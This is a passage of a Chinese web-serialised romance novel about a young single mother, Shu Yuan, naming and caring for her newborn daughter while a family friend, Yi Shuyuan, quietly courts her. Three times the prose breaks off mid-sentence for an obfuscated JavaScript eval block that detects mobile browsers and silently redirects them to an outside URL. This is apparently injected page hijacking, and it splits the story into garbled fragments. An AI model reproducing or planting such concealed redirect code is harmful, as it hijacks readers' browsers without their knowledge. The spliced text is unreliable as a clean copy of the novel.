亲朋的耐心与温柔，让狼狈邋遢又有些手忙脚乱的舒元安然度过住院的几天。 出院后一进月子中心，舒元忽然就解放了。她什么心都不用操，有人专门看顾她，也有人专门看顾宝宝。什么状况都有专业人士帮她披荆斩棘，让舒元安然入睡时觉得，月子中心里的每个人都是英雄。 这也是她第一次如此深刻地觉得，金钱真的能解决痛苦。 宝宝起名时，易书鸢恰巧也在。看着舒逸绞尽脑汁地在众多名字中纠结为难，舒元忽然转头问易书鸢： “鸢哥有什么建议吗？” “梓涵？”易书鸢下意识答道。 “噗，全世界的梓涵都想改名了，我还往这个梗里跳吗？”舒元忍俊不禁，抱着一边吧唧嘴一边呼呼大睡的臭宝，低头轻轻嗅了嗅孩子身上的奶味。外人绝对不会觉得这个味道好闻，但舒元就是很着迷。 “这个吧。”易书鸢挑眸看了眼舒元，转头瞟向舒逸列了一张纸的众多名字，指着其中一个道。 “青？舒青？”舒逸问。 “嗯，朗朗上口，笔画不多，写在纸上时间架结构也挺美的。”易书鸢道。 担心舒逸又挑三拣四，舒元快速抢先道：“舒青，嗯，是挺顺口的，就这个吧。” 舒逸怔了怔，抬头细品这名字。低头又看看手中的纸，哎呀，起了这么多个，就这么轻易地定下来了？他还没享受够选名字的权力感呢。 易书鸢听到舒元顺着他的选择如此爽快地确定下来，心里升起种异样感觉。 他抿了抿唇，转头看看舒元怀里渐渐舒展开的胖丫头，抿了抿嘴唇。抬头对上舒元笑吟吟的漂亮眼睛，他笑容不自觉扩大。 即便包着头，她仍是漂亮的。清爽滑嫩的皮肤不施粉黛也清透美好，抱着孩子时她脸上透着温柔，眉眼间稚气不散，像个大孩子在玩过家家。 自己悄悄思考未来时，易书鸢曾经想过，要跟舒元过怎样的生活。 他喜欢她脸上的孩子气，机灵、聪敏、欢快，又有几分倔强英气，这是令易书鸢着迷的气质。他希望能保护她、照顾她，在其他人都在社会的磨砺下长大时，舒元仍能存有孩子气，眼里还有轻快的亮光。 舒元生下了一个来历不明的孩子，但她仍是单身。 如果自己是在她已经成为单亲妈妈之后才遇到舒元呢？他还会爱上她吗？会想要跟她一起生活吗？ 易书鸢坐在床边，在大家欢笑着品味“舒青”这个名字时，他悄悄打量舒元的笑容。 无论在什么情况下，她总能最快地调整好自己，恢复元气，重拾笑容。这是让易书鸢这个自认阴沉的人拍马不及的特质，她的这份阳光真令人向往。哪怕她身上的光芒将他细心滋养的青苔都晒干，他也还是忍不住想要靠近她。 经年积累的潮寒，渴望着sunshine。 舒元会愿意吗？如果他表明心意，她会看在他这么多年的喜欢而接受他吗？ 她能放下自己的过去，放下孩子的父亲吗？ 或许，如果现在开口，在舒元和舒逸他们看来，自己的行为会不会像是趁虚而入？ 趁人之危…… “舒青，舒青，我喜欢这个名字。要文艺，有‘抒情’这个谐音。要意义嘛，有青青碧草，春风吹又生的生命力。”舒元还在细品，仍赞不绝口。 “被你这么一说，还真不错。”舒逸也频频点头。 “舒青，听起来比你们兄弟俩的名字都更好。”易书鸢悄悄叹气，重拾笑容，参与进舒逸和舒元的话题。 舒青。 接下来的各种手续，宝宝名字一栏上，便都落下了这漂亮的两个字。它们在充满意义的纸张上落定，悄然扎根。 夜晚，舒元亲过宝宝小小软软的嫩手后，幸福入睡前，脑中还在为女儿的名字感到高兴。 舒青，这么好听的名字，是爸爸选的哟。 舒元虽然是单亲妈妈，但孩子爸爸在她怀孕生崽的整个过程，都在帮忙，一点没偷懒哦。 也许在她老去的时候，她可以甜蜜地牵着女儿的手，告诉她：青青，其实在刚怀你的那天开始，你的爸爸就一直在哦。他参与了许多许多属于你的重要时刻，未来的成长，他也会常伴左右的。 相比那些明明在身边，却一直帮倒忙、搞事情的爸爸，他可是好太多了。 … 月子中心不仅服务完善，还有许多知识输出。 对婴儿的24小时照顾里，除了量体温、监控口腔卫生、洗澡、观察大小便、预防黄疸、脐带护理、皮肤护理等等根据新生婴儿容易出的状况做的预防和关照外，还有一项令舒元很在意的服务： 抚触服务。 “不能只管喂奶啊，虽然光是喂奶就有很多学问了，比如拍奶嗝之类。抚触也是很重要的，在婴儿成长阶段给足她安全感，等你们带回去后照顾起来也很方便的。”月嫂站在床边，晒着透窗打进来的太阳，转头跟舒元和易书鸢分享她的知识： “别说婴儿了， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16134193|180294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就是人类不也是这样嘛。 “人家科学研究是有依据的，经常拥抱，经常被爱抚背部皮肤、手臂皮肤的人，患抑郁症、焦虑症的概率都比没有抚触的人低得多。 “碰触可以带来舒适、安全感，还能分泌令人愉悦的激素，经常能获得拥抱和抚触的人，寿命都高呢。” 月嫂转头笑着对舒元和易书鸢说： “所以现在的年轻人就比较好了，夫妻之间可以多多拥抱啦，爱抚啦，用语言表达爱意啦，这很好的呀。 “像老一辈人就都是老思想，这也不好意思，那也有伤风化的，男人回到家就要板着脸端一家之主的架子，女人嘛又要克制自己，表演什么贤妻良母啦。” 月嫂说着闭眼摆手，转而轻轻拍抚舒青小朋友的背，又温柔地一下又一下地抚摸婴儿小手，展示给年轻人们看，“就是要多碰触彼此啊，人类就是这么一种生物，很简单的，猴子不也要一边乘凉一边互相给对方梳毛捉跳蚤嘛。” 舒元笑呵呵地听着，易书鸢坐在边上翘着二郎腿吃香蕉。 香蕉是舒逸的其他朋友送来的，舒元实在吃不过来，再不消化掉就要变成黑香蕉了，易书鸢只好代为消化。 见阿姨挑眉朝着他们投来视线，舒元哈哈一笑，侧身朝易书鸢张开手臂。 她身上总有种大喇喇的爽利劲儿，做出这样的动作也不令人觉得暧昧。易书鸢抿唇而笑，放下香蕉展臂，手臂在舒元背上一触即离，克制而知礼。 舒元也收回手臂靠回靠枕。 月嫂这才露出个满意的神色，点头道：“这才对嘛，就要多多拥抱的。” “哈哈。” “哈哈哈。” 两个年轻人看着月嫂的表情忍不住笑，直到舒元不经意间低头时，发现易书鸢白衬衫前面一团洇渍。她受惊瞠目，低头一看，自己衣服不知什么时候也湿了一团。脸划地通红，她忙拉高被子遮住衣服。 月嫂敏锐地发现舒元的窘迫，笑着将婴儿递给易书鸢，让他出去带着小婴儿到阳光房里晒晒太阳。 待室内只剩下女人了，才过来帮舒元处理尴尬状况。 晚上易书鸢和舒逸在外面吃过韩餐各自回家，洗澡时脱下白衬衫，胸前扣子边的奶渍还在，轻轻浅浅的一团。 转手将衬衫丢进脏衣篓，他推开浴室门迈进去。关门前手忽然捏住门，几息后，他又缓慢拉开门。 在脏衣篓前站了1分钟，仿佛在进行天人交战，终于，某些东西还是占了上风。 他弯腰捡起白衬衫，找到那一团印子，缓慢将之凑到鼻息前。 浅麦色的眼尾皮肤渐渐染上霞色，不知是因为羞愧，还是因为别的什么。 6. 重塑自己 养个孩子可真不容易，要很多钱、很多时间、很多精力，还有很多爱和耐心。 一个月的月子躺得舒元不知天地时间，有点爽，但也有点焦心。 没有依靠的人，稍微停一步，都会感到愧疚和忧虑，担心自己不努力会遭报应，比如少壮不努力老大徒伤悲什么的。 这个世界一直有人在贩卖焦虑，而那些权力者们还在为这些焦虑加码强化。 长辈、师长、领导这些上位者都是一样—— 很多书籍说孝道是国人的文化根基，“孝顺是最重要的衡量一个人好坏的标准”“身体发肤受之父母”“儿行千里母担忧”； 很多文学夸赞他们是蜡烛，“燃烧自己照亮别人”； 说他们是伯乐，“千里马常有而伯乐不常有”。 却少有诗词歌赋会叱骂那些坏的权力者们。 不会有人告诉你，之所以这些人被夸，不是因为所有人挂上这样的身份，都会自动变身成好人。而是书写书籍、掌控舆论的是他们这些人。 也不会有人告诉你，“易子而食”所展示的残酷仍蒙着遮羞布，真相往往比这更惨烈，或许并非所有父母都会天生爱孩子，只有懂得爱别人、有同情心的人才会。也有许多孩子被当成发泄情绪的对象，被视为累赘，被充当自己唯一行事权力的奴隶，被看作物品般养大后变现。父母嫉妒孩子、仇恨孩子，其实也没什么值得惊讶，一切被神圣化的东西，终究只是平常事物。 资本家也有的唯利是图，视人命为草芥。为了从你身上挖到更多的钱，不断地夸赞你的美貌值得更贵的衣物，吹捧你的气质值得更贵的包包，语重心长地叮嘱你要多爱自己多为自己打算、多多地为一些并不会真的令你幸福的虚无事物花光所有的钱。他们像奸臣一样挑拨、吹捧、进谗言，当你身无分文时，又忽然冷酷起来，嫌弃你为什么不努力、不好好赚钱，为什么不选择有钱人、出卖自己的幸福换取金钱来消费呢？是不是你没有魅力…… 有时舒元真想将手机丢掉，只是查一会儿婴幼儿用品的资料，就在无知无觉间被灌输了很多“必须用这个产品，不然就是不爱孩子”“如果不给孩子花这个钱，就不是好父母”的焦虑、压力观念，简直防不胜防。 查好资料、买好东西，舒元就立即退出了各项手机app。舒青小朋友正在主卧大床边的小婴儿车里睡觉，她现在每天的任务就是睡觉、喝奶、晒太阳，偶尔哭一哭开开嗓，要么咿咿呀呀地自说自话，生活比谁都规律。 舍友们上午才来做了客，瞧着舒青宝宝乖，一个个都化身专家，要么说“女孩儿就是乖”“好多一胎生了女儿，就以为所有孩子都这么乖，才会生二胎。结果二胎生了儿子，才知道什么叫恶魔宝宝”，还有的说“宝宝就是要多睡觉，这样大脑发育才健全，长大了才能又聪明、又情绪稳定”，都是纸上谈兵的专家。 坐在婴儿床边着迷地欣赏了会儿小婴儿水嫩嫩的睡颜，舒元转身整理起家里的衣物。 婴儿长得很快，初夏天热，还能随便应付着穿穿。梅雨季节大不了每天用一下烘干机，反正婴儿夏装布料少，烘干用不了多少时间。 可到了秋天冬天，用来保暖的衣服就变得重要起来了。最好是提前买好，多洗几遍确保干净，再多晒晒太阳，让衣料变得柔软安全。那就得打提前量，她得买比预计中她的体型更大的衣服，以便能多给青青穿几季。 买小孩子的衣物最麻烦，他们体型变化快，一天一个样子，稍微不注意，衣裤就小了。舒元资金有限，所有这些都得仔细算计。 拿着陈悦给她做的表情，舒元修修整整后，开始根据计划在购物网站上选品。 约好过来帮她做饭的王栋哥带着女朋友来了，王栋哥在厨房蒸鸡时，栋哥女朋友小雨姐陪舒元聊天。 关心过舒元请阿姨以及后续回学校的事时，岔到婴儿衣物购买的问题，小雨姐忽然想起一件事： “我姐姐去年刚生完孩子，好多宝宝的旧衣服都还挺新的，扔掉嘛不舍得，放在家里又占地方，想捐了吧人家不要婴儿用品。哎，你嫌不嫌弃给青青穿旧衣服啊？” 舒元听到这话，眼睛瞬间亮起来，这不就是瞌睡了别人给送枕头嘛。 “小雨姐！我肯定不嫌弃啊。人家都说给宝宝穿旧衣服最好了，比新衣服柔软，还没有甲醛等化学物质，对宝宝皮肤好，舒适度又高。而且宝宝衣物贵不说，还很难选到质量好又安全的。”舒元双手合十，想了想又说：“我不能白要，我给小雨姐的姐姐包大红包。” “不用啦，都是放在家里令人为难的东西，你能好好使用它们，我姐就高兴了。”小雨姐是个爽快姑娘，她当即去阳台给姐姐打电话，半个多小时后，早打包好放在储物间的一大堆婴儿用品就被闪送了过来。 “哇！”舒元像探宝一样，一个一个地拆包，每打开一样都大为赞叹，情绪价值满满。 小雨姐坐在边上哈哈大笑着帮忙，心情也跟着变好。 王栋刷完碗也想过来跟她们凑热闹，结果舒青醒了，嗷嗷哭。王栋只得跑过去哄孩子，小雨姐笑嘻嘻地看着男友，悄悄对舒元道：“这段时间常跟王栋过来照看你，我才坚定了跟他在一起的心意。” “我还有这作用？”舒元诧异。 “不看看他照顾你，怎么知道在我怀孕的时候，他有没有耐心照顾我啊。现在瞧见他又有耐心照顾孕妇，又有耐心抱婴儿，我才在这方面也放心。”小雨姐叹气，“女人在怀孕的时候真的很难，情绪方面、身体方面、金钱方面都需要应对，说是独立，很多时候真的很难做到。有个真能帮上忙的队友挺重要的。我挺佩服你的，真大胆。你们这些年轻人，比我想得开，也有冲劲儿。” “……”舒元看了看在客厅里抱着青青来回转悠的王栋，忽然有感而发：“其实我不是更勇敢，而是更胆小。因为害怕受伤害，因为情感上太脆弱了，才决定藏起孩子父亲这个秘密。因为不敢向其他人请求帮助，觉得请人帮忙会遭到羞辱，才只能独自生下青青。” 或许在很多人看来，她是行动上的巨人。 但只有她知道，自己其实是个情感上的小矮人。 “你小时候父母不断逼你独立吗？如果你不独立，就骂你怎么这么不独立，这都干不好。如果你独立做了某事，就夸奖你真是好孩子，这么能干？”小雨姐忽然开口，她大学是学心理学的，虽然现在在当文学编辑，但以前学的东西还没全忘。 “……”舒元抿唇没应，已是默认。 小雨姐摸了摸舒元的肩膀，低声道： “舒元，人类是社群动物，本来就是因为能互相配合、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16134194|180294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 互相帮忙才能站上自然界的食物链顶端。 “要求你独立的那些夸奖与辱骂，都只是成年人想要逃避自己的责任，而对你实施的精神暴力而已。这就像是训狗，你的大脑里已经有了一套‘巴普洛夫的犬’一样的惯性。如果自己不独立、想依赖别人，即便再没有父母骂你，你自己都会在情绪上‘电击’自己，批评自己、否认自己。 “你要在理性层面上理解这一点，在未来的人生中慢慢摆脱这些困束。 “人想要完全的自由，就得把这些施压在你身上的‘大山’都搬掉。” 小雨姐拉住舒元的手，“如果你想要聊天，随时可以找我。回头请我吃饭就行。” “哈哈，心理医生很贵的。”舒元反握住小雨姐的手，笑闹说：“那我得请你吃顿好的才行。” “其实舒逸也帮王栋和我挺多的，你不用觉得负担。” 送走了王栋哥和小雨姐，舒元给青青喂过奶，将宝宝放进摇篮，让青青自己跟追视玩具互动。 她又约了两个阿姨来面试，便开始剪辑昨天才接的外包视频。在一大堆视频物料中做筛选，不停地拼接、剪辑、加字幕、放特效，寻找合适的视频素材、音频素材做润色，又一遍遍重看，纠错、修整。 中间舒元给青青换了一次尿布，哄青青睡觉，等全部忙完时，天已经黑了。 今天晚上没有人给她做饭，舒逸早上才出发去医院，上次他一进医院就是72个小时，这次不知道多久才能回来一趟。 更何况实习真的太累了，舒元也不可能让累了只能在医院随便找个地方歪个把小时的实习医生给自己做饭，她正尝试恢复居家烹饪或点外卖。 在请到阿姨前，她得尽量自己解决这些难题。 今天自己烹饪已经来不及，她打开外卖软件，手指拨了两下，忽然想起小雨姐今天说的话。 怔怔坐了会儿，终于打败了惯性的迟疑和对自己情感与自尊的过度保护，舒元退出外卖软件，点开易书鸢的微信，小心翼翼地发了一条： 【鸢哥，你在忙吗？】 想象中煎熬的等待并没有发生，易书鸢回复很快：【中午下班，才睡了一下午，正考虑晚上整点什么填肚子。你吃了吗？】 不需要她艰难开口，拐弯抹角地把话题拉到找他吃饭这件事上，易书鸢已直截了当地说出了她想说的所有话。 舒元第一次尝试主动联系易书鸢，居然大获全胜，抿唇而笑，细细品味主动捕猎带来的小小成就感，她啪啪敲击屏幕，欢快地回复：【还没吃，我家楼下有一家云南菜，我想去吃汽锅鸡，还有蘑菇汤锅。】 【这些食物可能很多味精之类，你能吃吗？会不会影响青青？】易书鸢回问。 【我在冰箱里储备了许多存货，够舒青青喝2天的，到时候就算有刺激性的物质也被我新陈代谢得差不多了。反正我又不吃太辣的，没事的。】舒元是个时刻会为明天做准备的人。 【把青青包好放进婴儿推车，准备好纸尿裤、奶瓶和青青要用的各种东西，你自己一个人能行吗？】 【放心吧，我现在可熟练了。】 【好，我这就出发，20分钟后楼下见！】 【一会儿见！】 放下手机，舒元攥了攥拳，士气满满地为出门做起准备。 7. 他们的目光 易书鸢接到舒元后，第一时间帮她折叠婴儿车放后备箱，然后便接过她怀里的青青。 当易书鸢拉开车门的时候，舒元看见后排上的婴儿座。 “鸢哥，你什么时候买的呀？”刚才她还想着可惜易书鸢开的不是舒逸的车，没有婴儿座。怎么这么哆啦A梦的啊？忽然变出来的一样啊。 “……”易书鸢不自然地顿了下，才回答：“想着说不定什么时候一起出去玩会用得上，最近就配了个。” 舒元上车后看了看婴儿座，凑过去帮青青擦口水时发现，靠近窗户的那一侧，婴儿座都有些褪色了。 不像是新买的，像是早就按上，都被太阳晒了好久的。或者其实是个二手婴儿座？可是易书鸢像是那种买二手用品的人吗？ 或者像她接受小雨姐帮要来的二手婴儿衣物一样？二手的旧物没甲醛，比较安全？ 思绪正转着，易书鸢忽然回头问：“阿姨找得怎么样？” 方才他发现了她眼底的青黑，只怕这些日子都睡得不太好。 就算舒青青算乖的，睡觉也多，但毕竟是需要照顾的婴儿，舒逸最近被医院压榨得都快成丧尸了，恐怕也帮不到舒元太多。 透过后视镜与舒元对视，她仍是笑着的，易书鸢心里泛起些酸涩。 “约了几个面试，希望能尽快找到合适的。” “价格贵一点也没什么，合适最重要。” “嗯啊，这方面我肯定舍得钱。”舒元还是知道的，小婴儿虽然不说话，但大脑成长过程中也很需要良好的环境。不仅要把舒青青照顾好，她这个做妈妈的情绪也会对孩子有很大影响，她还是知道哪头轻哪头重的。 易书鸢油门踩得很稳，不疾不徐地平缓前进，不仅青青在车里迷迷糊糊的没有受惊，连舒元都困了。 点餐的时候，舒元点了两个菜，易书鸢点另外两个菜加一个汤。 拿着菜单，易书鸢稍微迟疑了下。菜单上的傣味罗非鱼和酸笋烧罗非鱼，舒元更喜欢吃那个味型来着？距离上次跟舒元一起吃云南菜已经很久了，他居然有些想不起来。循着记忆里的线索想了好一会儿，他才开口： “酸笋烧罗非鱼。” 看着舒元长大，他熟悉她的一切喜好，只要用心回忆，果然总能记起来。 见易书鸢点的也是自己喜欢吃的，舒元心里美滋滋的。 她和易书鸢在饮食上的爱好很一致，跟哥哥和易书鸢蹭吃蹭喝久了，舒元就发现，易书鸢会点的菜大多数时候也都是她爱吃的。 对于暗恋的人来说，跟对方三观一致、喜好相同，实在是件甜蜜事。 等菜时，青青忽然哭起来。既不是饿了，也不是要嘘嘘或拉臭臭，大概是在陌生的环境里有点不安。 舒元才伸手，易书鸢已经率先从婴儿车里抱起了青青。 服务员已经开始上第一盘菜，易书鸢挑了挑下巴，示意舒元先吃：“等你吃饱了再还我。” 说罢不等舒元开口，他已转身走向餐厅落地窗外的休闲小花园。 舒元一边仔细品味每一道菜的美味，一边加快咀嚼速度。 眼睛则在美食和抱着女儿的男人之间徘徊，只觉感官应接不暇。 落地床位，易书鸢时而像模像样地拍拍青青小婴儿背部或屁股，时而摇一摇，漫步在餐厅花园。 舒元瞧着他那两条大长腿，怀疑舒青青没有继续哭闹是因为她晕高。 易书鸢忽然转过身，灯光打在他脸侧，强调了他的面部轮廓。 他那样一个时刻含着温柔笑意，眼底却永远充斥与人保持距离的本能的人，居然会有这样生活气息的一面。 谪仙也会落凡尘。 从前大家总调侃易书鸢，说无法想象他这么一个疏冷的人当爸爸会是什么模样。现在看着他有些尴尬，又尝试投入的样子，舒元忍不住暖暖地感慨：哦，就是这样。 她一下想起小雨姐的话。 小雨姐因为看到王栋哥照顾舒元这个妹妹和舒青青这个婴儿，而判定王栋或许会是个懂得照顾家庭的好丈夫。那如今，她是不是可以判定，易书鸢不仅是个风华绝代的优秀美男子，还会是个好丈夫，好父亲呢？ 要是我的就好了，舒元眼巴巴地想，易书鸢忽然抬头，透过落地窗捕捉到她的眼睛后，他淡漠的脸上立即挂起个笑容。舒元一瞬尴尬，忙也回个笑容。 低头继续吃饭，舒元想，幸亏哥哥交到易书鸢这个朋友，不然自己永远不会认识这么好的男人，也不可能因为她是舒逸的妹妹而受到易书鸢这么多超格的关照。 虽然暗恋酸涩，有时还有点苦，但她也不舍得去想象那个舒逸没有交到易书鸢这个朋友，没有让她认识易书鸢的可能性。 舒元很快吃完，忙跑出去跟易书鸢交班。 易书鸢吃的时候饭菜都还温着，舒元乖乖地只吃她那一侧，导致每盘菜都呈现半月型。他忍不住抿唇，连这样的细节也觉得可爱。 就着落地窗外的年轻母女，易书鸢吃得不像舒元那么急，他慢条斯理地品味，这家店里只有他和舒元，虽然没有同桌同食，但能借着帮舒逸照顾妹妹的理由单独跟她出来吃饭，也挺令人满意的。 身体仍然疲惫，但情绪是舒缓的。舒元身上那种无论遭遇多糟心的事儿，都能轻快地往前走的魅力，总是给身边人带来力量。 他也在汲取她的精神能量，悄悄充电。 饭后青青睡着了，舒元准备往车库走时，易书鸢却转向饭店边宁静又幽深的红砖小路。上海有很多这样的小路，藏在石库门式建筑或改装成loft租屋的排房之间，在梧桐树掩映下，许多文艺的画室、有趣的酒吧、私人的小展厅等藏在期间，是沪上city-walk中的惊喜点缀。 “这边的小巷很安静，饭后转转再送你回去。”易书鸢抱着青青低头看了眼，小婴儿睡得很香。舒元怀孕、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16134195|180294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生产加上坐月子，被困太久了。现在没找到阿姨，还要她全天盯着，一直没办法出门，一定很闷吧。 听说可以散步，舒元眼睛瞬间亮起来。她想出来放风想太久了，只是怕麻烦才一直忍着。 “你困不困？会不会累？”跟在易书鸢身侧，她跃跃欲试想将青青抱回来，怕累到他。 “不累，吹吹晚风，动一动，挺舒服的。”易书鸢转头安抚地朝她笑笑，怕她因为麻烦人而感到不安，他又转移话题问：“你的课程怎么样？要不要重修一年？” “我的综合作业做得还行，几科老师都给了不错的分，万幸虽然缺了不少课，但自学了许多东西，很多功课还能顺利完成，不用重读。不过下学期也要重修不少课，但应该应付得来。”舒元抬头看看伞一样的树冠，透过树叶缝隙看看月亮，又转头欣赏路两边洋房别墅格局风格的院墙和大门，偶尔与刚下班的时尚白领擦肩，心情都一样地好。 人还是要常出门，就像狗狗需要遛一样，户外的新鲜风景和信息能让人暂时丢开生活中的琐碎，变得轻快。 漫步了几条小巷，见舒元速度变慢，易书鸢便找了转回车库方向的路，等舒元开始感到累时，他们恰巧到达目的地。 很多舒适的安排是自然而然的，甚至没让舒元察觉到。 返程的车速依旧，易书鸢选择了最少车流的路，虽然绕一些，对怕惊的婴儿却很友好。一路上他们没有因为吵闹的喇叭或交通噪音担心过，稳稳地到了家。 进小区，送舒元到楼下，易书鸢在舒元下车前抢先道： “你哥托我今天帮你值夜班，我跟你上楼，住你哥房间。我们把婴儿床搬到你哥屋里，晚上我照顾青青。” “你不是也在医院连轴转了好几天吗？”舒元侧头打量易书鸢，车内的灯光照亮了他神态间的疲惫。 “我才睡了一下午，晚上也睡不着。明天早上把青青交给你，我再睡一天。” “不——”舒元不太想让易书鸢熬大夜，每次舒逸连轴转回家都累得像要猝死一样，他们在医院一直忙活，常常只能忙里偷闲睡零碎觉。下了班又熬着照顾婴儿，恐怕易书鸢身体撑不住。 “放心吧，我知道自己的状况。就算不帮你值夜班照顾青青，我回去也是玩游戏。何况青青也不是一宿都醒着哭闹，她睡的时候我也能跟着睡。”易书鸢直接熄火下车，从后排婴儿座里抱起了青青。 小婴儿已经完全熟悉了易书鸢的拥抱，在他怀里伸展肉乎乎的手臂打了个哈欠。 他忽然顿在车边，低头看着怀里的襁褓，心里莫名泛软。 舒元下车关门的声音吸引了青青的注意，她转头透过易书鸢的袖子寻找声音来源。 易书鸢也转头朝向舒元。 时间仿佛在这一瞬停滞，父女俩齐刷刷看过来的一幕，背景没有繁花彩灯点缀，只有冷酷而空旷的车库，却仍令舒元觉得想要用相机定格，一生铭记。 8. 亲吻 回到家后，舒元和易书鸢像两个并肩作战过很多次的队友一样分兵协作。他们轮流洗澡，轮流照顾青青，整理青青的衣物，帮青青洗澡、擦头发、换衣裳。 仿佛是两个过家家的孩子，有些笨拙，但又都兴致勃勃。 易书鸢喜欢留眉下刘海和过耳的短发，忙活起来，他将短发扎成个小揪揪，刘海也用舒元的小夹子别在鬓边，那种半遮美颜的疏冷距离感消失，他一下变得无比亲切。 舒元蹲坐在地毯边看易书鸢小心翼翼给青青擦头发，忽然忍不住咯咯笑起来。 易书鸢抬起头，有些懊恼地瞪她。 “没有笑你。”舒元忙摆手，“我就是想起小时候，哥哥陪我过家家扮演爸爸，我们俩用被子把家里的狗裹得严严实实，他用自己的手巾给狗洗脸，搞得全是狗毛，每次洗脸后脸上都粘着一层，我妈起初还怀疑是不是他每天洗脸后都去蹭狗才沾的，后来才发现问题在手巾上，哈哈哈。” “你们干嘛非要折磨狗，就不能用洋娃娃之类充当宝宝吗？”易书鸢忍俊不禁。 “哪有洋娃娃啊，我从小到大啥玩具都没有，最多捡个我哥的旧枪玩玩。”舒元一摆手，“要不说我像假小子呢，从小到大竟跟着舒逸混了。” 从小到大都没买过玩具？ 易书鸢不可思议地看着舒元，难以想象这个二十出头的姑娘是怎么长大的。没有玩具，没有娃娃，她小时候都玩什么呢？就只跟着舒逸屁股后面跑吗？没有属于自己的小东西？ 他忽然想到自己第一次到舒逸家做客，发现舒元都初中了，还没有属于自己的房间。要么睡舒逸上铺，要么只能睡客厅的沙发床。 那间兄妹俩公用的小房间里，贴满了篮球明星，摆着的枪、坦克等模型全是舒逸的，连房间里的内饰都是蓝色黑色的，没有一丁点女孩子的痕迹。 后来舒逸上了大学，舒元才终于能独占那间房，但她好像也没有了布置属于自己空间的兴致。直到后来她上大学，到了宿舍后，她才买了属于自己的第一套嫩黄色床上三件套，有了点自己主导一方空间的感觉。 她就是这么长大的，活在哥哥的影子里。 瞧着舒元不以为意的笑容，易书鸢心里有些不是滋味。 给青青擦好脸，舒元抱起她去卧室里给她喂奶。 易书鸢去厨房烧水，回头看一眼卧室关着的门，有些闷闷的。 她为自己活过一天吗？才开始离开那个家，渐渐舒展开来，又成了别人的妈妈，小小年纪要照顾个婴孩。 怎么能这样对自己呢？ 闭了闭眼，易书鸢又忽然想到了自己，表情沉下来，别起刘海、扎起头发而显露的那点亲切感荡然无存。 自由，为自己而活，说来简单。 他又有什么资格去指责舒元不多为自己考虑呢？他的人生又是什么规划得很好的人生吗？ … 有易书鸢帮忙值夜班，舒元难得睡了个香甜的囫囵觉。 第二天起床时，居然还有早饭吃。 查看过睡得很熟的青青，她坐到餐桌边。早饭是牛奶、单煎鸡蛋和牛油果贝果。 “没想到你还会做早饭。”舒元接过易书鸢递过来的早饭，目光顺着他的手腕看到他挽在小臂上的白衬衫袖口，肌肉的线条和禁欲的苍白衬衫形成鲜明对比，她莫名被戳了一下。 “糊弄吃吃，再复杂的就不会做了。”易书鸢拉开椅子坐下，先喝了一大口牛奶。 舒元岗咬下一口贝果，又看到他喝牛奶仰颈时滚动的喉结。脑海中浮现那一夜的某些画面，她忙撇开视线。 自己大概是还没睡醒，这一会儿的工夫，已经好几段不良画面闪现了。 饭后易书鸢还要刷碗，舒元将他推出厨房，赶他回去睡觉。 接下来的几天里她面试了好多阿姨，终于在试用了6个后，确定下了李阿姨。合同签订，每天值白班，只负责照顾舒青青小朋友，不做家务等其他工作。 囊中虽然瞬间蒸发许多钱钱，但舒元的日子一下好过许多。 她拥有了自己的白天时间，可以用来学习和工作，因为奶量大，她甚至还做了许多肥皂，给自己和小青青洗脸。 开学在即，舒元筹备好了一切工作，青青的作息也渐渐规律，晚上基本上都在睡觉，只有饿醒了或者响拉臭臭才会哭。 舒元就当半夜起夜上厕所了，并不觉得难应付。 青青不是个爱哭的孩子，除了刚出月子时有点黄疸外，基本上没生过病。有阿姨帮忙，各种打疫苗之类的工作也不用舒元太操心，阿姨会帮她带青青去打针，即便打疫苗的时候赶上阿姨休假，李阿姨也会提醒舒元。 遇到个好阿姨，这是舒元的第二件幸事。 那些不幸的、不快乐的事都被舒元忽略，她在努力记忆这些好事，让自己尽量乐观有力量地去应对单亲妈妈这个新身份，和随之而来的一切困难与挑战。 开学后，虽然忙碌翻倍，好在她也渐渐应对了下来。 钱存得差不多，一切都进入正轨，舒元才跟舒逸商量起搬出去住的事。 “这毕竟是鸢哥的房子，即便他近期不住，我们也不应该理所当然地一直住下去。万一他恰巧需要这房子，又不好意思开口，我怕影响你们的友情。”亲兄弟也要明算账，舒元不想因为自己而让哥哥成为“借钱不还”的坏朋友。 “你再租房子的钱够吗？”舒逸才开始工作，兜里钱也不多，他能帮的很有限。 “够的，我从怀孕起就在攒钱了。”舒元学的东西在这个互联网时代还是挺有用的，大主播、短视频长视频的剪辑需要都很大，她现在同时给好几个团队做外包剪辑工作，口碑不错，收入已经越来越稳定了。 当然，这不仅因为她技术好，还跟她肯拼命，从没延期交付视频有关。 